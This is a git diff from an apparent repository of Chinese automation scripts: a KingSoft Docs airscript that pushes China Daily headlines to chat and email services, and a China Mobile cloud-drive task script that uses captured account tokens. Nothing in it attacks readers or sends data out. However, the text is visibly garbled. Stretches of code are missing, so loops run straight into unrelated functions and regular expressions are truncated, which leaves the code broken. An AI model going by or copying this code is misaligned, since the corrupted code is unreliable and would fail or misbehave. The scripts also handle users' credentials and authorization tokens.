}catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + let url = "https://api.suyanw.cn/api/China_Daily_Highlights_of_the_day.php" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + // messageSuccess += content + // console.log(content) + + // 按E列数值截取条目 + let count = Application.Range("E" + pos).Text + if (count == "全部") { + messageSuccess += content + } else { + let limit = parseInt(count) || 10; // 默认取10条 + limit += 1; // 这个占了一行,所以要加1。----中国日报---- + let items = content.split('\n') + .filter(item => item.match(/^\d+:/)) // 过滤有效条目 + .slice(0, limit); // 截取前N条 + + messageSuccess += items.join('\n'); // 重新组合有效条目 + } + + // console.log(messageSuccess) + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 签到结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} diff --git a/脚本库/web版/账密/中国移动云盘/2026-05-14_ydyp_da3e5cb2.js b/脚本库/web版/账密/中国移动云盘/2026-05-14_ydyp_da3e5cb2.js new file mode 100644 index 0000000..6f04039 --- /dev/null +++ b/脚本库/web版/账密/中国移动云盘/2026-05-14_ydyp_da3e5cb2.js @@ -0,0 +1,4324 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/ydyp.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/ydyp.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/ydyp.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: da3e5cb2ed48bc6940da8036157d38a7cbe4b1a47d1732994dc5468b6e9bb835 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/** + * new Env("中国移动云盘") + * 变量名ydyp_ck + * cron 8 10 * * * + * from:https://github.com/Yuheng0101/X + * 变量值 [注意事项: 简易方法,开抓包进App,搜refresh,找到authTokenRefresh.do ,请求头中的Authorization,响应体 xxx 中xxx值(新版加密抓这个)] + */ +const e = (() => { + const e = e => e in globalThis; + switch (!0) { + case e("$task"): + return "Quantumult X"; + case e("$loon"): + return "Loon"; + case e("$rocket"): + return "Shadowrocket"; + case e("Egern"): + return "Egern"; + case Boolean(globalThis.$environment?.["surge-version"]): + return "Surge"; + case Boolean(globalThis.$environment?.["stash-version"]): + return "Stash"; + case Boolean(globalThis.process?.versions?.node): + return "Node.js"; + default: + return + } +})(); +class t { + static #e = new Map([]); + static #t = []; + static #r = new Map([]); + static clear = () => {}; + static count = (e = "default") => { + switch (t.#e.has(e)) { + case !0: + t.#e.set(e, t.#e.get(e) + 1); + break; + case !1: + t.#e.set(e, 0) + } + t.log(`${e}: ${t.#e.get(e)}`) + }; + static countReset = (e = "default") => { + switch (t.#e.has(e)) { + case !0: + t.#e.set(e, 0), t.log(`${e}: ${t.#e.get(e)}`); + break; + case !1: + t.warn(`Counter "${e}" doesn’t exist`) + } + }; + static debug = (...e) => { + t.#o < 4 || (e = e.map(e => `🅱️ ${e}`), t.log(...e)) + }; + static error(...r) { + if (!(t.#o < 1)) { + switch (e) { + case "Surge": + case "Loon": + case "Stash": + case "Egern": + case "Shadowrocket": + case "Quantumult X": + default: + r = r.map(e => `❌ ${e}`); + break; + case "Node.js": + r = r.map(e => `❌ ${e.stack}`) + } + t.log(...r) + } + } + static exception = (...e) => t.error(...e); + static group = e => t.#t.unshift(e); + static groupEnd = () => t.#t.shift(); + static info(...e) { + t.#o < 3 || (e = e.map(e => `ℹ️ ${e}`), t.log(...e)) + } + static #o = 3; + static get logLevel() { + switch (t.#o) { + case 0: + return "OFF"; + case 1: + return "ERROR"; + case 2: + return "WARN"; + case 3: + default: + return "INFO"; + case 4: + return "DEBUG"; + case 5: + return "ALL" + } + } + static set logLevel(e) { + switch (typeof e) { + case "string": + e = e.toLowerCase(); + break; + case "number": + break; + default: + e = "warn" + } + switch (e) { + case 0: + case "off": + t.#o = 0; + break; + case 1: + case "error": + t.#o = 1; + break; + case 2: + case "warn": + case "warning": + default: + t.#o = 2; + break; + case 3: + case "info": + t.#o = 3; + break; + case 4: + case "debug": + t.#o = 4; + break; + case 5: + case "all": + t.#o = 5 + } + } + static log = (...e) => { + 0 !== t.#o && (e = e.map(e => { + switch (typeof e) { + case "object": + e = JSON.stringify(e); + break; + case "bigint": + case "number": + case "boolean": + case "string": + e = e.toString() + } + return e + }), t.#t.forEach(t => { + (e = e.map(e => ` ${e}`)).unshift(`▼ ${t}:`) + }), e = ["", ...e], console.log(e.join("\n"))) + }; + static time = (e = "default") => t.#r.set(e, Date.now()); + static timeEnd = (e = "default") => t.#r.delete(e); + static timeLog = (e = "default") => { + const r = t.#r.get(e); + r ? t.log(`${e}: ${Date.now()-r}ms`) : t.warn(`Timer "${e}" doesn’t exist`) + }; + static warn(...e) { + t.#o < 2 || (e = e.map(e => `⚠️ ${e}`), t.log(...e)) + } +} +class r { + static escape(e) { + const t = { + "&": "&", + "<": "<", + ">": ">", + '"': """, + "'": "'" + }; + return e.replace(/[&<>"']/g, e => t[e]) + } + static get(e = {}, t = "", o = void 0) { + Array.isArray(t) || (t = r.toPath(t)); + const n = t.reduce((e, t) => Object(e)[t], e); + return void 0 === n ? o : n + } + static merge(e, ...t) { + if (null == e) return e; + for (const o of t) + if (null != o) + for (const t of Object.keys(o)) { + const n = o[t], + i = e[t]; + switch (!0) { + case r.#n(n) && r.#n(i): + e[t] = r.merge(i, n); + break; + case n instanceof Map && i instanceof Map: + if (n.size > 0) + for (const [e, t] of n) i.set(e, t); + break; + case n instanceof Set && i instanceof Set: + if (n.size > 0) + for (const e of n) i.add(e); + break; + case Array.isArray(n) && 0 === n.length && void 0 !== i: + case n instanceof Map && 0 === n.size && void 0 !== i: + case n instanceof Set && 0 === n.size && void 0 !== i: + break; + case void 0 !== n: + e[t] = n + } + } + return e + } + static #n(e) { + if (null === e || "object" != typeof e) return !1; + const t = Object.getPrototypeOf(e); + return null === t || t === Object.prototype + } + static omit(e = {}, t = []) { + return Array.isArray(t) || (t = [t.toString()]), t.forEach(t => r.unset(e, t)), e + } + static pick(e = {}, t = []) { + Array.isArray(t) || (t = [t.toString()]); + const r = Object.entries(e).filter(([e, r]) => t.includes(e)); + return Object.fromEntries(r) + } + static set(e, t, o) { + return Array.isArray(t) || (t = r.toPath(t)), t.slice(0, -1).reduce((e, r, o) => Object(e[r]) === e[r] ? e[r] : e[r] = /^\d+$/.test(t[o + 1]) ? [] : {}, e)[t[t.length - 1]] = o, e + } + static toPath(e) { + return e.replace(/\[(\d+)\]/g, ".$1").split(".").filter(Boolean) + } + static unescape(e) { + const t = { + "&": "&", + "<": "<", + ">": ">", + """: '"', + "'": "'" + }; + return e.replace(/&|<|>|"|'/g, e => t[e]) + } + static unset(e = {}, t = "") { + Array.isArray(t) || (t = r.toPath(t)); + return t.reduce((e, r, o) => o === t.length - 1 ? (delete e[r], !0) : Object(e)[r], e) + } +}(() => { + switch (t.debug("☑️ $argument"), typeof globalThis.$argument) { + case "string": { + const e = Object.fromEntries(globalThis.$argument.split("&").map(e => e.split("=", 2).map(e => e.replace(/\"/g, "")))); + globalThis.$argument = {}, Object.keys(e).forEach(t => r.set(globalThis.$argument, t, e[t])); + break + } + case "object": { + if (null === globalThis.$argument) { + globalThis.$argument = {}; + break + } + const e = {}; + Object.keys(globalThis.$argument).forEach(t => r.set(e, t, globalThis.$argument[t])), globalThis.$argument = e; + break + } + case "undefined": + globalThis.$argument = {} + } + globalThis.$argument.LogLevel && (t.logLevel = globalThis.$argument.LogLevel), t.debug("✅ $argument", `$argument: ${JSON.stringify(globalThis.$argument)}`) +})(); +const o = { + 100: "Continue", + 101: "Switching Protocols", + 102: "Processing", + 103: "Early Hints", + 200: "OK", + 201: "Created", + 202: "Accepted", + 203: "Non-Authoritative Information", + 204: "No Content", + 205: "Reset Content", + 206: "Partial Content", + 207: "Multi-Status", + 208: "Already Reported", + 226: "IM Used", + 300: "Multiple Choices", + 301: "Moved Permanently", + 302: "Found", + 304: "Not Modified", + 307: "Temporary Redirect", + 308: "Permanent Redirect", + 400: "Bad Request", + 401: "Unauthorized", + 402: "Payment Required", + 403: "Forbidden", + 404: "Not Found", + 405: "Method Not Allowed", + 406: "Not Acceptable", + 407: "Proxy Authentication Required", + 408: "Request Timeout", + 409: "Conflict", + 410: "Gone", + 411: "Length Required", + 412: "Precondition Failed", + 413: "Content Too Large", + 414: "URI Too Long", + 415: "Unsupported Media Type", + 416: "Range Not Satisfiable", + 417: "Expectation Failed", + 418: "I'm a teapot", + 421: "Misdirected Request", + 422: "Unprocessable Entity", + 423: "Locked", + 424: "Failed Dependency", + 425: "Too Early", + 426: "Upgrade Required", + 428: "Precondition Required", + 429: "Too Many Requests", + 431: "Request Header Fields Too Large", + 451: "Unavailable For Legal Reasons", + 500: "Internal Server Error", + 501: "Not Implemented", + 502: "Bad Gateway", + 503: "Service Unavailable", + 504: "Gateway Timeout", + 505: "HTTP Version Not Supported", + 506: "Variant Also Negotiates", + 507: "Insufficient Storage", + 508: "Loop Detected", + 510: "Not Extended", + 511: "Network Authentication Required" +}; +const n = r => { + const o = {}; + switch (typeof r) { + case void 0: + break; + case "string": + case "number": + case "boolean": + switch (e) { + case "Surge": + case "Stash": + case "Egern": + default: + o.url = r; + break; + case "Loon": + case "Shadowrocket": + o.openUrl = r; + break; + case "Quantumult X": + o["open-url"] = r; + case "Node.js": + } + break; + case "object": { + const t = r.open || r["open-url"] || r.url || r.openUrl, + n = r.copy || r["update-pasteboard"] || r.updatePasteboard, + i = r.media || r["media-url"] || r.mediaUrl; + switch (e) { + case "Surge": + case "Stash": + case "Egern": + case "Shadowrocket": + default: + if (t && (o.action = "open-url", o.url = t), n && (o.action = "clipboard", o.text = n), i) switch (!0) { + case i.startsWith("http"): + o["media-url"] = i; + break; + case i.startsWith("data:"): { + const e = /^data:(?\w+\/\w+);base64,(?.+)/, + { + MIME: t, + Base64: n + } = i.match(e).groups; + o["media-base64"] = n, o["media-base64-mime"] = r.mime || t; + break + } + default: + switch (o["media-base64"] = i, !0) { + case i.startsWith("CiVQREYt"): + case i.startsWith("JVBERi0"): + o["media-base64-mime"] = "application/pdf"; + break; + case i.startsWith("R0lGODdh"): + case i.startsWith("R0lGODlh"): + o["media-base64-mime"] = "image/gif"; + break; + case i.startsWith("iVBORw0KGgo"): + o["media-base64-mime"] = "image/png"; + break; + case i.startsWith("/9j/"): + o["media-base64-mime"] = "image/jpg"; + break; + case i.startsWith("Qk02U"): + o["media-base64-mime"] = "image/bmp" + } + } + r["auto-dismiss"] && (o["auto-dismiss"] = r["auto-dismiss"]), r.sound && (o.sound = r.sound); + break; + case "Loon": + t && (o.openUrl = t), i?.startsWith("http") && (o.mediaUrl = i); + break; + case "Quantumult X": + t && (o["open-url"] = t), i?.startsWith("http") && (o["media-url"] = i), n && (o["update-pasteboard"] = n); + case "Node.js": + } + break + } + default: + t.error("不支持的通知参数类型: " + typeof r, "") + } + return o +}; + +function i(e = 1e3) { + return new Promise(t => setTimeout(t, e)) +} +class s { + static data = null; + static dataFile = "box.dat"; + static #i = /^@(?[^.]+)(?:\.(?.*))?$/; + static getItem(t, o = null) { + let n = o; + switch (t.startsWith("@")) { + case !0: { + const { + key: e, + path: o + } = t.match(s.#i)?.groups; + t = e; + let i = s.getItem(t, {}); + "object" != typeof i && (i = {}), n = r.get(i, o); + try { + n = JSON.parse(n) + } catch (e) {} + break + } + default: + switch (e) { + case "Surge": + case "Loon": + case "Stash": + case "Egern": + case "Shadowrocket": + n = $persistentStore.read(t); + break; + case "Quantumult X": + n = $prefs.valueForKey(t); + break; + case "Node.js": + s.data = s.#s(s.dataFile), n = s.data?.[t]; + break; + default: + n = s.data?.[t] || null + } + try { + n = JSON.parse(n) + } catch (e) {} + } + return n ?? o + } + static setItem(t = new String, o = new String) { + let n = !1; + if ("object" == typeof o) o = JSON.stringify(o); + else o = String(o); + switch (t.startsWith("@")) { + case !0: { + const { + key: e, + path: i + } = t.match(s.#i)?.groups; + t = e; + let a = s.getItem(t, {}); + "object" != typeof a && (a = {}), r.set(a, i, o), n = s.setItem(t, a); + break + } + default: + switch (e) { + case "Surge": + case "Loon": + case "Stash": + case "Egern": + case "Shadowrocket": + n = $persistentStore.write(o, t); + break; + case "Quantumult X": + n = $prefs.setValueForKey(o, t); + break; + case "Node.js": + s.data = s.#s(s.dataFile), s.data[t] = o, s.#a(s.dataFile), n = !0; + break; + default: + n = s.data?.[t] || null + } + } + return n + } + static removeItem(t) { + let o = !1; + switch (t.startsWith("@")) { + case !0: { + const { + key: e, + path: n + } = t.match(s.#i)?.groups; + t = e; + let i = s.getItem(t); + "object" != typeof i && (i = {}), keyValue = r.unset(i, n), o = s.setItem(t, i); + break + } + default: + switch (e) { + case "Surge": + o = $persistentStore.write(null, t); + break; + case "Loon": + case "Stash": + case "Egern": + case "Shadowrocket": + default: + o = !1; + break; + case "Quantumult X": + o = $prefs.removeValueForKey(t); + break; + case "Node.js": + s.data = s.#s(s.dataFile), delete s.data[t], s.#a(s.dataFile), o = !0 + } + } + return o + } + static clear() { + let t = !1; + switch (e) { + case "Surge": + case "Loon": + case "Stash": + case "Egern": + case "Shadowrocket": + default: + t = !1; + break; + case "Quantumult X": + t = $prefs.removeAllValues(); + break; + case "Node.js": + s.data = s.#s(s.dataFile), s.data = {}, s.#a(s.dataFile), t = !0 + } + return t + } + static #s = t => { + if ("Node.js" !== e) return {}; + { + this.fs = this.fs ? this.fs : require("node:fs"), this.path = this.path ? this.path : require("node:path"); + const e = this.path.resolve(t), + r = this.path.resolve(process.cwd(), t), + o = this.fs.existsSync(e), + n = !o && this.fs.existsSync(r); + if (!o && !n) return {}; + { + const t = o ? e : r; + try { + return JSON.parse(this.fs.readFileSync(t)) + } catch (e) { + return {} + } + } + } + }; + static #a = (t = this.dataFile) => { + if ("Node.js" === e) { + this.fs = this.fs ? this.fs : require("node:fs"), this.path = this.path ? this.path : require("node:path"); + const e = this.path.resolve(t), + r = this.path.resolve(process.cwd(), t), + o = this.fs.existsSync(e), + n = !o && this.fs.existsSync(r), + i = JSON.stringify(this.data); + o ? this.fs.writeFileSync(e, i) : n ? this.fs.writeFileSync(r, i) : this.fs.writeFileSync(e, i) + } + } +} +const a = globalThis.$argument ?? { + +}; +var c = { + displayName: "中国移动云盘" +}; +const u = { + defaultTimeout: 5e3, + userAgent: "Mozilla/5.0 (Linux; Android 11; M2012K10C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/90.0.4430.210 Mobile Safari/537.36 MCloudApp/10.0.1", + noteHeaders: { + "X-Tingyun-Id": "p35OnrDoP8k;c=2;r=1122634489;u=43ee994e8c3a6057970124db00b2442c::8B3D3F05462B6E4C", + Charset: "UTF-8", + Connection: "Keep-Alive", + "User-Agent": "mobile", + APP_CP: "android", + CP_VERSION: "3.2.0", + "x-huawei-channelsrc": "10001400", + Host: "mnote.caiyun.feixin.10086.cn", + "Content-Type": "application/json; charset=UTF-8", + Accept: "*/*" + } + }, + l = { + missingCookie: "‼️缺少授权字段, 请抓取(填写)相关参数后再执行脚本", + runStart: "开始执行", + runFailed: "执行失败", + runCompleted: "任务执行完成" + }, + h = { + cookieKeys: ["ydyp_ck", "cookie", "cloud139_cookie"] + }, + d = { + envPrefix: "CLOUD139", + defaults: { + upload: !1, + share: !1, + push: !0, + clickNum: 15, + drawTimes: 1, + delayMin: 1e3, + delayMax: 1500, + timeout: 5e3, + uploadFilename: "7", + uploadSizeMb: 7, + uploadDirId: "", + shareFilename: "" + } + }; +var f = "undefined" != typeof globalThis ? globalThis : "undefined" != typeof window ? window : "undefined" != typeof global ? global : "undefined" != typeof self ? self : {}; + +function p(e) { + return e && e.__esModule && Object.prototype.hasOwnProperty.call(e, "default") ? e.default : e +} +var y = { + exports: {} +}; +var g, m = { + exports: {} +}; + +function v() { + return g || (g = 1, m.exports = function() { + var e = e || function(e, t) { + var r; + if ("undefined" != typeof window && window.crypto && (r = window.crypto), "undefined" != typeof self && self.crypto && (r = self.crypto), "undefined" != typeof globalThis && globalThis.crypto && (r = globalThis.crypto), !r && "undefined" != typeof window && window.msCrypto && (r = window.msCrypto), !r && void 0 !== f && f.crypto && (r = f.crypto), !r) try { + r = require("crypto") + } catch (e) {} + var o = function() { + if (r) { + if ("function" == typeof r.getRandomValues) try { + return r.getRandomValues(new Uint32Array(1))[0] + } catch (e) {} + if ("function" == typeof r.randomBytes) try { + return r.randomBytes(4).readInt32LE() + } catch (e) {} + } + throw new Error("Native crypto module could not be used to get secure random number.") + }, + n = Object.create || function() { + function e() {} + return function(t) { + var r; + return e.prototype = t, r = new e, e.prototype = null, r + } + }(), + i = {}, + s = i.lib = {}, + a = s.Base = { + extend: function(e) { + var t = n(this); + return e && t.mixIn(e), t.hasOwnProperty("init") && this.init !== t.init || (t.init = function() { + t.$super.init.apply(this, arguments) + }), t.init.prototype = t, t.$super = this, t + }, + create: function() { + var e = this.extend(); + return e.init.apply(e, arguments), e + }, + init: function() {}, + mixIn: function(e) { + for (var t in e) e.hasOwnProperty(t) && (this[t] = e[t]); + e.hasOwnProperty("toString") && (this.toString = e.toString) + }, + clone: function() { + return this.init.prototype.extend(this) + } + }, + c = s.WordArray = a.extend({ + init: function(e, r) { + e = this.words = e || [], this.sigBytes = r != t ? r : 4 * e.length + }, + toString: function(e) { + return (e || l).stringify(this) + }, + concat: function(e) { + var t = this.words, + r = e.words, + o = this.sigBytes, + n = e.sigBytes; + if (this.clamp(), o % 4) + for (var i = 0; i < n; i++) { + var s = r[i >>> 2] >>> 24 - i % 4 * 8 & 255; + t[o + i >>> 2] |= s << 24 - (o + i) % 4 * 8 + } else + for (var a = 0; a < n; a += 4) t[o + a >>> 2] = r[a >>> 2]; + return this.sigBytes += n, this + }, + clamp: function() { + var t = this.words, + r = this.sigBytes; + t[r >>> 2] &= 4294967295 << 32 - r % 4 * 8, t.length = e.ceil(r / 4) + }, + clone: function() { + var e = a.clone.call(this); + return e.words = this.words.slice(0), e + }, + random: function(e) { + for (var t = [], r = 0; r < e; r += 4) t.push(o()); + return new c.init(t, e) + } + }), + u = i.enc = {}, + l = u.Hex = { + stringify: function(e) { + for (var t = e.words, r = e.sigBytes, o = [], n = 0; n < r; n++) { + var i = t[n >>> 2] >>> 24 - n % 4 * 8 & 255; + o.push((i >>> 4).toString(16)), o.push((15 & i).toString(16)) + } + return o.join("") + }, + parse: function(e) { + for (var t = e.length, r = [], o = 0; o < t; o += 2) r[o >>> 3] |= parseInt(e.substr(o, 2), 16) << 24 - o % 8 * 4; + return new c.init(r, t / 2) + } + }, + h = u.Latin1 = { + stringify: function(e) { + for (var t = e.words, r = e.sigBytes, o = [], n = 0; n < r; n++) { + var i = t[n >>> 2] >>> 24 - n % 4 * 8 & 255; + o.push(String.fromCharCode(i)) + } + return o.join("") + }, + parse: function(e) { + for (var t = e.length, r = [], o = 0; o < t; o++) r[o >>> 2] |= (255 & e.charCodeAt(o)) << 24 - o % 4 * 8; + return new c.init(r, t) + } + }, + d = u.Utf8 = { + stringify: function(e) { + try { + return decodeURIComponent(escape(h.stringify(e))) + } catch (e) { + throw new Error("Malformed UTF-8 data") + } + 